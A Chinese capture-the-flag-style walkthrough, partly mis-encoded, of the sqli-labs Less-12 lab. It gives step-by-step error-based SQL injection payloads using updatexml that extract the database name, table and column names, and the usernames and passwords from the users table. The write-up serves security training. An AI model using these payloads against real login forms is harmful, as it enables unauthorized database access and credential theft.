原理及姿勢(shì)參考:[網(wǎng)絡(luò)安全]SQL注入原理及常見(jiàn)攻擊方法簡(jiǎn)析
本文使用到了updatexml函數(shù),原理及姿勢(shì)可參考:[網(wǎng)絡(luò)安全]sqli-labs Less-5 解題詳析
判斷注入類(lèi)型
通過(guò)測(cè)試可知注入類(lèi)型為雙引號(hào)+括號(hào)注入
判斷注入點(diǎn)個(gè)數(shù)
嘗試可知注入點(diǎn)個(gè)數(shù)為2
查庫(kù)名
uname=1") union select 1,updatexml(1,concat(0,(select database()),0),1)#
庫(kù)名為security
查表名
uname=1") union select 1,updatexml(1,concat(0,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0),1)#
查users表的列名
uname=1") union select 1,updatexml(1,concat(0,(select group_concat(column_name) from information_schema.columns where table_name='users'),0),1)#
查字段
uname=1") union select 1,updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1)#
總結(jié)
以上為[網(wǎng)絡(luò)安全]sqli-labs Less-12 解題詳析,后續(xù)將分享[網(wǎng)絡(luò)安全]sqli-labs Less-13 解題詳析
文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-731228.html
我是秋說(shuō),我們下次見(jiàn)。文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-731228.html
到了這里,關(guān)于網(wǎng)絡(luò)安全]sqli-labs Less-12 解題詳析的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!